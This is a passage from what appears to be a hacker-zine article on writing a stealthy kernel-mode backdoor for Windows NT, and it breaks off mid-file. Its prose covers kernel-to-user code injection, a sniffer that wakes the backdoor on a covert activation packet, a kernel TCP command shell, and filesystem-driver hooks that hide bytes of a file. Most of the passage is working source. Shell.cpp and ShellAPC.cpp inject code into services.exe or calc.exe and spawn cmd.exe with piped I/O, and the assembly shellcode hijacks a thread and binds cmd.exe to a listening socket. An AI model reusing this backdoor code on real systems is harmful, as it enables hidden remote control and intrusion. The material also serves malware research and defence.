(NebbetCreateProcess.diff) for edu- cational purposes. It adds a code snippet to a starting process. The patch writes code (generated by a C++ compiler) to a process's stack. For independence that code is a function which accepts a pointer to a struc- ture containing all the necessary data (API addresses etc) as parameter. This structure and a pointer to it are written to the stack together with the code of the function itself. ESP of the starting thread is set 4 bytes bellow the pointer to the parameters of the function, and EIP to it's en- try point. Once the injected code is done executing, it issues a CALL back to the original entry point. This example can be modified to be yet another way of injecting code into a working userland process from kernel mode. ---[ 4.2 - Activation and communication with the remote client If a listening socket is permanently open (and visible to netstat -an) it is likely to be discovered. Even if one hides the socket from netstat is insufficient as a simple portscan could uncover the port. To remain stealthy a backdoor must not have any open ports visible locally or re- motely. It is necessary to use a special packet, which on the one hand must be unambigously identified by the backdoor as activation signal, yet at the same time must not be so suspicious as to trigger alerts or be fil- tered by firewalls. The activation signal could e.g. be a packet contain- ing a set of packets at any place (header or data) -- all characteristics of the packet (protocol, port etc) should be ignored. This allows for max- imum flexibility to avoid aggressive packet filters. Obviously, we have to implement some sort of sniffer in order to detect such a special packet. In practice, we have several choices on how to implement the sniffer: 1) NDIS protocol driver (advantage: possibility not only to receive packets, but also to send - thus making covert channel for communication with remote client possible; disadvantage: difficulties with supporting all types of network devices) - applied in ntrootkit; 2) use service provided by IpFilterDriver on w2k and higher (advantages: simple implementation and complete independence from physical layer; disadvantage: receive only); 3) setup filter on 1 of network drivers, through which packets pass through (see [5]); 4) direct appeal to network drivers by some other means for receive and send packets (advantage: can do everything; disadvantage: unexplored area). I have chosen variant 2 due to it's simplicity and convenience for both described variants of starting a shell. IpFilterDriver used only for activation, further connection is made via TCP by means of TDI. An example of the usage of IpFilterDriver can be seen in Filtering.cpp and MPFD_main.cpp. InitFiltering() loads the IpFilterDriver if it isn't yet loaded. Then it calls SetupFiltering, which sets a filter with IOCTL_PF_SET_EXTENSION_POINTER IOCTL. PacketFilter() is then called on each IP packet. If a keyword is detected StartShellEvent is set and causes a shell to be started. The variant using shellcode in an existing process works with the network in user-mode, thus we do not need to describe anything in detail. A Kernel-mode TCP shell is implemented in NtBackd00r.cpp. When cmd.exe is started from a driver with redirected I/O, the link is maintained by the driver. I took the tcpecho example as base for the communitcation mod- ule in order not to waste time coding a TDI-client from scratch. DriverEntry() initialises TDI, creates a listening socket and an unnamed device for IoQueueWorkItem. For each conenction an instance of the Session class is created. In it's OnConnect handler a sequence of operations for creating a process. process. As long as this handler is called at IRQL==DISPATCH_LEVEL, it's impossible to do all necessary operations directly in it. It's even impossible to start a thread because PsCreateSystemThread must be called only at PASSIVE_LEVEL according to the DDK. Therefore the OnConnect handler calls IoAllocateWorkItem and IoQueueWorkItem in order to do any further operations accomplished in WorkItem handler (ShellStarter function) at PASSIVE_LEVEL. ShellStarter calls StartShell() and creates a worker thread (DataPumpThread) and 2 events for notifying it about arriving packets and named pipe I/O completion. Interaction between the WorkItem/thread and Session class was built with taking a possible sudden disconnect and freeing Session into account: syncronisation is accomplished by disabling interrupts (it's equivalent of raise IRQL to highest) and by means of DriverStudio classes (SpinLock inside). The Thread uses a copy of some data that must be available even after instance of Session was deleted. Initially, DataPumpThread starts one asynchronous read operation (ZwReadFile) from named pipe -- event hPipeEvents[1] notifies about it's completion. The other event hPipeEvents[0] notifies about data arrival from the network. After that ZwWaitForMultipleObjects executed in a loop waits for one of these events. In dependence of what event was signaled, the thread does a read from the named pipe and sends data to client, or does a read read from FIFO and writes to pipe. If the Terminating flag is set, thread closes all handles, terminates the cmd.exe process, and then terminates itself. Data arrival is signaled by the hPipeEvents[0] event in Session::OnReceive and Session::OnReceiveComplete handlers. It also used in conjunction with the Terminating flag to notify the thread about termination. Data resceived from the network is buffered in pWBytePipe FIFO. DataPumpThread reads data from the FIFO to temporary buffers which are allocated for each I/O operation and writes data asynchronously to the pipe (ZwWriteFile). The buffers are freed asynchronously in the ApcCallback- WriteComplete handler. Data transfers from the pipe to the network are also accomplished through temporary buffers that are allocated before ZwReadFile and freed in Session::OnSendComplete. Paths of data streams and temporary buffers handling algorithm: NamedPipe -(new send_buf; ZwReadFile)-> temporary buffer send_buf -(send)-> Network -> OnSendComplete{delete send_buf} Network -(OnReceive)-> pWBytePipe -(new rcv_buf)-> temporary buffer rcv_buf -(ZwWriteFile)-> NamedPipe -> ApcCallbackWriteComplete{delete rcv_buf} In Session::OnReceive handler data is written to the FIFO and the DataPumpThread is notified about it's arrival. If the transport has more data available than indicated another buffer is allocated to read the rest. When the transport is done - asynchronously - OnReceiveComplete() handler is called, which does the same as OnReceive. ----[ 4.3 - Stealth on disk I've implemented simple demo module (file Intercept.cpp) which hooks dispatch functions of a given filesystem diver to hide the first N bytes of a given file. To hook FSD call e.g. Intercept(L"\\FileSystem\\Fastfat"). There is only 2 FSDs that may be necessary to hook: Fastfat ant Ntfs, because NT can boot from these filesystems. Intercept() replaces some driver dispatch functions (pDriverObject->MajorFunction[...], pDriverObject->FastIoDispatch->...). When hooked driver handles IRPs and FastIo calls the corresponding hook functions modifies file size and current file offset. Thus all user-mode programs see file N bytes smaller than original, containing bytes N to last. It allows to implement trick described in part 3. --[ 5 - Conclusion In this article I compared 3 existing Kernel-Mode backdoors for Windows NT from a programmers point of view, presented some ideas on making a backdoor stealthier as well as my thorny path of writing my own Kernel- Mode backdoor. What we did not describe was a method of hiding open sockets and TCP connections from utilities such as netstat and fport. Netstat uses SnmpUtilOidCpy(), and fport talks directly with drivers (\Device\Udp and \Device\Tcp). To hide something from these and all similar tools, it's necessary to hook aforementioned drivers with one of methods mentioned in section "Stealth on disk, in registry and in memory". I did not explore that issue yet. Probably, its consideration deserves a separate article. Advice for those who decided to move this direction: begin with the study of IpLog sources [5]. --[ 6 - Epilogue When/if this article will be published in Phrack, the article itself (probably improved and supplemented), its Russian original, and full code of all used examples will be published at our site http://www.nteam.ru --[ 7 - List of used sources 1. http://rootkit.com 2. "LKM-attack on WinNT/Win2k" http://he4dev.e1.bmstu.ru/He4ProjectRepositary/HookSysCall/ 3. "Windows Root Kits a Stealthy Threat" http://www.securityfocus.com/news/2879 4. Garry Nebbet. Windows NT/2000 native API reference. 5. "IP logger for WinNT/Win2k" http://195.19.33.68/He4ProjectRepositary/IpLog/ --[ 8 - Files ----[ 8.1 - Shell.CPP #include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" #if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif const StackReserve=0x00100000; const StackCommit= 0x00001000; extern BOOLEAN Terminating; extern "C" char shellcode[]; extern "C" const CLID_addr; extern "C" int const sizeof_shellcode; namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; } BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); while (NT::ZwQuerySystemInformation( NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { NT::ExFreePool(q); n*=2; q = (PULONG)NT::ExAllocatePool (NT::NonPagedPool,n*sizeof(*q)); } ULONG MajorVersion; NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL); NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); BOOL found=0; char** pp=(char**)&p; do { if ((p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString (&p->ProcessName,&ProcessName,TRUE))) { if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; found=1; break; } if (!(p->NextEntryDelta)) break; *pp+=p->NextEntryDelta; } while(1); NT::ExFreePool(q); return found; } VOID StartShell() { //Search ntdll.dll in memory PVOID pNTDLL=FindNT(); //Dynamicaly link to functions not exported by ntoskrnl, //but exported by ntdll.dll DYNAMIC_LOAD(ZwWriteVirtualMemory) DYNAMIC_LOAD(ZwProtectVirtualMemory) DYNAMIC_LOAD(ZwResumeThread) DYNAMIC_LOAD(ZwCreateThread) HANDLE hProcess=0,hThread; //Debug breakpoint dbgbkpt; NT::CLIENT_ID clid; //Code must be embedded into thread, which not in nonalertable wait state. //Such thread is in process services.exe, let's find it if(!FindProcess(L"services.exe"/*L"calc.exe"*/,&clid)) {dbgbkpt; return;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Open process - get it's descriptor NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return;}; /*NT::PROCESS_BASIC_INFORMATION pi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation, &pi, sizeof(pi), NULL);*/ ULONG n = sizeof_shellcode; PVOID p = 0; PVOID EntryPoint; //Create code segment - allocate memory into process context NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!p) {dbgbkpt; return;}; //*((PDWORD)(&shellcode[TID_addr]))=(DWORD)clid.UniqueThread; //Write process and thread ID into shellcode, it will be needed for //further operations with that thread *((NT::PCLIENT_ID)(&shellcode[CLID_addr]))=(NT::CLIENT_ID)clid; //Write shellcode to allocated memory ZwWriteVirtualMemory(hProcess, p, shellcode, sizeof_shellcode, 0); //Entry point is at the beginning of shellcode EntryPoint = p; //Create stack segment NT::USER_STACK stack = {0}; n = StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n, MEM_RESERVE, PAGE_READWRITE); if (!stack.ExpandableStackBottom) {dbgbkpt; return;}; stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom) + StackReserve; stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase) - StackCommit; n = StackCommit + PAGE_SIZE; p = PCHAR(stack.ExpandableStackBase) - n; //Create guard page NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n, MEM_COMMIT, PAGE_READWRITE); ULONG x; n = PAGE_SIZE; ZwProtectVirtualMemory(hProcess, &p, &n, PAGE_READWRITE | PAGE_GUARD, &x); //Initialize new thread context //similar to it's initialization by system NT::CONTEXT context = {CONTEXT_FULL}; context.SegGs = 0; context.SegFs = 0x38; context.SegEs = 0x20; context.SegDs = 0x20; context.SegSs = 0x20; context.SegCs = 0x18; context.EFlags = 0x3000; context.Esp = ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(EntryPoint); NT::CLIENT_ID cid; //Create and start thread ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr, hProcess, &cid, &context, &stack, TRUE); //Here i tried to make thread alertable. The try failed. /*HANDLE hTargetThread; NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid); PVOID ThreadObj; NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL); *((unsigned char *)ThreadObj+0x4a)=1;*/ ZwResumeThread(hThread, 0); } VOID ShellStarter(VOID* StartShellEvent) { do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS) if (Terminating) NT::PsTerminateSystemThread(0); else StartShell(); while (1); } ----[ 8.2 - ShellAPC.cpp #include #include "ntdll.h" #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" #include "NebbetCreateProcess.h" //Debug macro #if (DBG) #define dbgbkpt __asm int 3 #else #define dbgbkpt #endif //Flag guarantees that thread certainly will execute APC regardless of //it's state #define SPECIAL_KERNEL_MODE_APC 2 namespace NT { extern "C" { // Definitions for Windows NT-supplied APC routines. // These are exported in the import libraries, // but are not in NTDDK.H void KeInitializeApc(PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext); void KeInsertQueueApc(PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, UCHAR unknown); } } //Variant of structure SYSTEM_PROCESSES for NT4 namespace NT { typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5 ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4; } //Function searches process with given name. //Writes PID and TID of first thread to ClientId BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId) { NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF; //Allocate some memory PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about processes and threads //until it will fit in allocated memory. while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0)) { //If it didn't fit - free allocated memory... NT::ExFreePool(q); n*=2; //... and allocate twice bigger q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); } ULONG MajorVersion; //Request OS version NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL); //Copy pointer to SYSTEM_PROCESSES. //copy will be modified indirectly NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); //"process NOT found" - yet BOOL found=0; //Pointer to p will be used to indirect modify p. //This trick is needed to force compiler to perform arithmetic operations with p //in bytes, not in sizeof SYSTEM_PROCESSES units char** pp=(char**)&p; //Process search cycle do { //If process have nonzero number of threads (0 threads is abnormal, but possible), //has name, that matches looked for... if ((p->ThreadCount)&&(p->ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p->ProcessName,&ProcessName,TRUE))) { //... then copy data about it to variable pointed by ClientId. //Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT if (MajorVersion<=4) *ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)->Threads[0].ClientId; else *ClientId = p->Threads[0].ClientId; //Set flag "process found" found=1; //Stop search break; } //No more processes - stop if (!(p->NextEntryDelta)) break; //Move to next process *pp+=p->NextEntryDelta; } while(1); //Free memory NT::ExFreePool(q); //Return "is the process found" flag return found; } //Generates named pipe name similar to used by API-function CreatePipe void MakePipeName(NT::PUNICODE_STRING KernelPipeName) { //For generation of unrepeating numbers static unsigned long PipeIdx; //pseudorandom number ULONG rnd; //name template wchar_t *KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x"; //...and it's length in bytes ULONG KPNL = wcslen(KPNS)+(8-4)*2+1; //String buffer: allocated here, freed by caller wchar_t *buf; //Request system timer: KeQueryInterruptTime is here not for exact //counting out time, but for generation of pseudorandom numbers rnd = (ULONG)NT::KeQueryInterruptTime(); //Allocate memory for string buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2); //Generate name: substitute numbers o template _snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd); //Write buffer address and string length to KernelPipeName (initialisation) NT::RtlInitUnicodeString(KernelPipeName, buf); } extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess); extern NTSTATUS BuildAlowingSD(PVOID *sd); struct APC_PARAMETERS { NT::UNICODE_STRING KernelPipeName; ULONG ChildPID; }; //APC handler, runs in context of given thread void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) { UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); dbgbkpt; //Start process with redirected I/O, SystemArgument1 is named pipe name (*(APC_PARAMETERS**)SystemArgument1)->ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)->KernelPipeName)); //Free memory occupied by APC NT::ExFreePool(Apc); //Signal about APC processing completion NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE); return; } //Function starts shell process (cmd.exe) with redirected I/O. //Returns bidirectional named pipe handle in phPipe extern "C" ULONG StartShell(PHANDLE phPipe) { //_asm int 3; HANDLE hProcess=0, hThread; APC_PARAMETERS ApcParameters; //Event of APC processing completion NT::KEVENT ApcCompletionEvent; //dbgbkpt; NT::CLIENT_ID clid; //Look for process to launch shell from it's context. //That process must be always present in system if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt; return FALSE;}; NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Get process handle from it's PID NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt; return FALSE;}; //Get thread handle from it's TID NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid); NT::PKTHREAD ThreadObj; //Get pointer to thread object from it's handle NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL); NT::PKAPC Apc; ApcParameters.ChildPID=0; //Allocate memory for APC Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC)); //Initialize APC dbgbkpt; NT::KeInitializeApc(Apc, ThreadObj, SPECIAL_KERNEL_MODE_APC, (NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine 0, // rundown routine 0, // user-mode routine NT::KernelMode, 0 //context ); //Initialize APC processing completion event NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE); //Generate random unique named pipe name MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/); PVOID sd; //Access will be read-only without it. //There's a weak place in the view of security. if (BuildAlowingSD(&sd)) return FALSE; if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE; NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0); NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL); NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName); NT::ZwClose(hProcess); NT::ZwClose(hThread); return ApcParameters.ChildPID; } ----[ 8.3 - dummy4.asm ;Exported symbols - reference points for automated tool ;which generates C code of hex-encoded string PUBLIC Start PUBLIC EndFile PUBLIC CLID_here ;Debug flag - int 3 in the code DEBUG EQU 1 ;Falg "accept more then 1 connection" MULTIPLE_CONNECT EQU 1 ;Falg "bind to next port, if current port busy" RETRY_BIND EQU 1 .486 ; processor type .model flat, stdcall ; model of memory option casemap: none ; disable case sensivity ; includes for file include Imghdr.inc include w32.inc include WSOCK2.INC ; structure initializing ;------------------------- sSEH STRUCT OrgEsp dd ? SaveEip dd ? sSEH ENDS CLIENT_ID STRUCT UniqueProcess dd ? UniqueThread dd ? CLIENT_ID ENDS OBJECT_ATTRIBUTES STRUCT Length dd ? RootDirectory dd ? ObjectName dd ? Attributes dd ? SecurityDescriptor dd ? SecurityQualityOfService dd ? OBJECT_ATTRIBUTES ENDS ;------------------------- .code ;---------------------------------------------- MAX_API_STRING_LENGTH equ 150 ALLOCATION_GRANULARITY EQU 10000H ;---------------------------------------------- new_section: ;Macro replaces lea, correcting address for position independency laa MACRO reg, operand lea reg, operand add reg, FixupDelta ENDM ;The same, but not uses FixupDelta (autonomous) laaa MACRO reg, operand local @@delta call $+5 @@delta: sub DWORD PTR [esp], OFFSET @@delta lea reg, operand add reg, DWORD PTR [esp] add esp,4 ENDM main proc Start: IFDEF DEBUG int 3 ENDIF ;Code for evaluating self address delta: pop ebx sub ebx,OFFSET delta ;Allocate place for variables in stack enter SizeOfLocals,0 ;Save difference between load address and ImageBase mov FixupDelta,ebx ;Tables, where to write addresses of exported functions KERNEL32FunctionsTable EQU _CreateThread NTDLLFunctionsTable EQU _ZwOpenThread WS2_32FunctionsTable EQU _WSASocket ;Local variables local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals assume fs : nothing ;---- get ImageBase of kernel32.dll ---- lea ebx,KERNEL32FunctionsTable push ebx laa ebx,KERNEL32StringTable push ebx push 0FFFF0000h call GetDllBaseAndLoadFunctions lea ebx,NTDLLFunctionsTable push ebx laa ebx,NTDLLStringTable push ebx push 0FFFF0000h call GetDllBaseAndLoadFunctions laa edi, CLID_here push edi assume edi:ptr OBJECT_ATTRIBUTES lea edi,attr cld mov ecx,SIZE OBJECT_ATTRIBUTES xor eax,eax rep stosb lea edi,attr mov[edi].Length,SIZE OBJECT_ATTRIBUTES push edi push THREAD_ALL_ACCESS lea edi,hThread push edi IFDEF DEBUG int 3 ENDIF call _ZwOpenThread lea edi, cxt assume edi:ptr CONTEXT mov [edi].cx_ContextFlags,CONTEXT_FULL xor ebx,ebx mov eax,hThread ;there is a thread handle in EAX ;push at once for call many following functions push edi ; _SetThreadContext push eax ;-) push eax ; _ZwAlertThread ;-) push edi ; _SetThreadContext push eax ;-) push edi ; _GetThreadContext push eax call _GetThreadContext mov eax,[edi].cx_Eip mov save_eip,eax laa eax, new_thread mov [edi].cx_Eip, eax ;Self-modify code ;Save EBP to copy current stack in each new thread laa eax, ebp_value_here mov [eax],ebp laa eax, ebp1_value_here mov [eax],ebp ;Write addres of flag, that informs of "create main thread" completion laa eax, flag_addr_here lea ebx,flag mov [eax],ebx mov flag,0 call _SetThreadContext ;If thread in wait state, it will not run until it (wait) ends or alerted call _ZwAlertThread ;not works if wait is nonalertable ;Wait for main thread creation check_flag: call _Sleep,10 cmp flag,1 jnz check_flag ;Restore EIP of interupted thread mov eax, save_eip mov [edi].cx_Eip, eax call _SetThreadContext push 0 call _ExitThread ; --- This code executes in interrupted thread and creates main thread --- new_thread: IFDEF DEBUG int 3 ENDIF ebp1_value_here_2: mov ebp,0 lab_posle_ebp1_value: ORG ebp1_value_here_2+1 ebp1_value_here: ORG lab_posle_ebp1_value-main xor eax,eax push eax push eax push eax laa ebx, remote_shell push ebx push eax push eax call _CreateThread ;call _Sleep,INFINITE jmp $ remote_shell: IFDEF DEBUG int 3 ENDIF ebp_value_here_2: mov esi,0 lab_posle_ebp_value: ORG ebp_value_here_2+1 ebp_value_here: ORG lab_posle_ebp_value-main mov ecx,SizeOfLocals sub esi,ecx mov edi,esp sub edi,ecx cld rep movsb mov ebp,esp sub esp,SizeOfLocals flag_addr_here_2: mov eax,0 lab_posle_flag_addr: ORG flag_addr_here_2+1 flag_addr_here: ORG lab_posle_flag_addr-main mov DWORD PTR [eax],1 ;Load WinSock laa eax,szWSOCK32 call _LoadLibrary,eax or eax, eax jz quit ;---- get ImageBase of ws2_32.dll ---- ;I'm deviator: load at first, then as if seek :) lea ebx,WS2_32FunctionsTable push ebx laa ebx,WS2_32StringTable push ebx push eax call GetDllBaseAndLoadFunctions ;--- telnet server lea eax,wsadat push eax push 0101h call _WSAStartup xor ebx,ebx ;socket does not suit here! call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx mov sock,eax mov addr.sin_family,AF_INET mov addr.sin_port,0088h mov addr.sin_addr,INADDR_ANY ;Look for unused port from 34816 and bind to it retry_bind: lea ebx,addr call _bind,sock,ebx,SIZE sockaddr_in IFDEF RETRY_BIND or eax, eax jz l_listen lea edx,addr.sin_port+1 inc byte ptr[edx] cmp byte ptr[edx],0 ;All ports busy... jz quit jmp retry_bind ENDIF l_listen: call _listen,sock,1 or eax, eax jnz quit ShellCycle: mov sizeofaddr,SIZE sockaddr_in lea eax,sizeofaddr push eax lea eax, addr push eax push sock call _accept mov sock2, eax RunCmd: ;int 3 ;Zero StartInf cld lea edi,StartInf xor eax,eax mov ecx,SIZE STARTUPINFO rep stosb ;Fill StartInf. Shell will be bound to socket mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW mov eax, sock2 mov StartInf.hStdOutput,eax mov StartInf.hStdError,eax mov StartInf.hStdInput,eax mov StartInf.cb,SIZE STARTUPINFO ;Start shell xor ebx,ebx lea eax,ProcInf push eax lea eax,StartInf push eax push ebx push ebx push CREATE_NO_WINDOW push 1 push ebx push ebx laa eax,CmdLine push eax push ebx call _CreateProcessA ;To avoid hanging sessions call _closesocket,sock2 IFDEF MULTIPLE_CONNECT jmp ShellCycle ENDIF quit: call _closesocket,sock call _WSACleanup ;Sweep traces: free memory with that code and terminate thread ;Code must not free stack because ExitThread address is there ;It may wipe (zero out) stack in future versions push MEM_RELEASE xor ebx,ebx push ebx push OFFSET Start push ebx push _ExitThread jmp _VirtualFree main endp ; ------ ROUTINES ------ ; returns NULL in the case of an error GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD ;---------------------------------------------- local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD ; install SEH frame laaa eax, KernelSearchSehHandler push eax push fs:dword ptr[0] mov SEH.OrgEsp, esp laaa eax, ExceptCont mov SEH.SaveEip, eax mov fs:dword ptr[0], esp ; start the search mov edi, dwSearchStartAddr .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE mov esi, edi add esi, [esi+03Ch] .if dword ptr [esi] == IMAGE_NT_SIGNATURE .break .endif .endif ExceptCont: sub edi, 010000h .endw mov dwDllBase,edi mov PEHeader,esi LoadFunctions: ; get the string length of the target Api mov edi, FuncNamesTable mov ecx, MAX_API_STRING_LENGTH xor al, al repnz scasb mov FuncNameEnd,edi mov ecx, edi sub ecx, FuncNamesTable ; ECX -> Api string length ; trace the export table mov edx, [esi+078h] ; EDX -> Export table add edx, dwDllBase assume edx:ptr IMAGE_EXPORT_DIRECTORY mov ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer add ebx, dwDllBase xor eax, eax ; eax AddressOfNames Index .repeat mov edi, [ebx] add edi, dwDllBase mov esi, FuncNamesTable push ecx ; save the api string length repz cmpsb .if zero? add esp, 4 .break .endif pop ecx add ebx, 4 inc eax .until eax == [edx].NumberOfNames ; did we found sth ? .if eax == [edx].NumberOfNames jmp ExceptContinue .endif ; find the corresponding Ordinal mov esi, [edx].AddressOfNameOrdinals add esi, dwDllBase shl eax, 1 add eax, esi movzx eax,word ptr [eax] ; get the address of the api mov edi, [edx].AddressOfFunctions shl eax, 2 add eax, dwDllBase add eax, edi mov eax, [eax] add eax, dwDllBase mov ecx,FuncNameEnd mov FuncNamesTable,ecx mov ebx,FuncPtrsTable mov DWORD PTR [ebx],eax mov esi,PEHeader cmp BYTE PTR [ecx],0 jnz LoadFunctions Quit: ; shutdown seh frame pop fs:dword ptr[0] add esp, 4 ret ExceptContinue: mov edi, dwDllBase jmp ExceptCont GetDllBaseAndLoadFunctions endp KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD mov eax, pContext assume eax:ptr CONTEXT sub dword ptr [eax].cx_Edi,010000h mov eax, 0 ;ExceptionContinueExecution ret KernelSearchSehHandler ENDP KERNEL32StringTable: szCreateThread db "CreateThread",0 szGetThreadContext db "GetThreadContext",0 szSetThreadContext db "SetThreadContext",0 szExitThread db "ExitThread",0 szLoadLibrary db "LoadLibraryA",0 szCreateProcessA db "CreateProcessA",0 szSleep db "Sleep",0 szVirtualFree db "VirtualFree",0 db 0 szWSOCK32 db "WS2_32.DLL",0 WS2_32StringTable: szsocket db "WSASocketA",0 szbind db "bind",0 szlisten db "listen",0 szaccept db "accept",0 szWSAStartup db "WSAStartup",0 szclosesocket db "closesocket",0 szWSACleanup db "WSACleanup",0 db 0 NTDLLStringTable: szZwOpenThread db "ZwOpenThread",0 szZwAlertThread db "ZwAlertThread",0 db 0 CmdLine db "cmd.exe",0 ALIGN 4 CLID_here CLIENT_ID <0> ;---------------------------------------------- EndFile: end Start ----[ 8.4 - NebbetCreateProcess.cpp #include #include "DynLoadFromNtdll.h" #include "NtdllDynamicLoader.h" extern "C" { #include "SECSYS.H" } namespace NT { typedef struct _CSRSS_MESSAGE{ ULONG Unknwon1; ULONG 